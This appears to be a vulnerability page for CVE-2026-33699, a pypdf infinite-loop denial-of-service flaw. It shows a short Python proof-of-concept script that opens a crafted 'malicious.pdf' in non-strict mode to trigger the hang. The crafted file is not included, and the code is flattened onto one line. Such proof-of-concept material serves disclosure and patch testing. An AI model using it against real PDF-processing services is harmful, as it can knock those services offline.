CVE-2026-33699 pypdf无限循环拒绝服务漏洞

import pypdf # Proof of Concept for CVE-2026-33699 # This script demonstrates how the vulnerability is triggered # by reading a malicious PDF in non-strict mode. def trigger_vulnerability(malicious_pdf_path): try: # Using strict=False is the key condition for exploitation reader = pypdf.PdfReader(malicious_pdf_path, strict=False) # Attempting to access pages triggers the parsing page = reader.pages[0] print(page.extract_text()) except Exception as e: print(f"Exception occurred: {e}") # Note: 'malicious.pdf' needs to be a file specifically crafted # to cause the infinite loop in versions < 6.9.2. if __name__ == "__main__": trigger_vulnerability("malicious.pdf")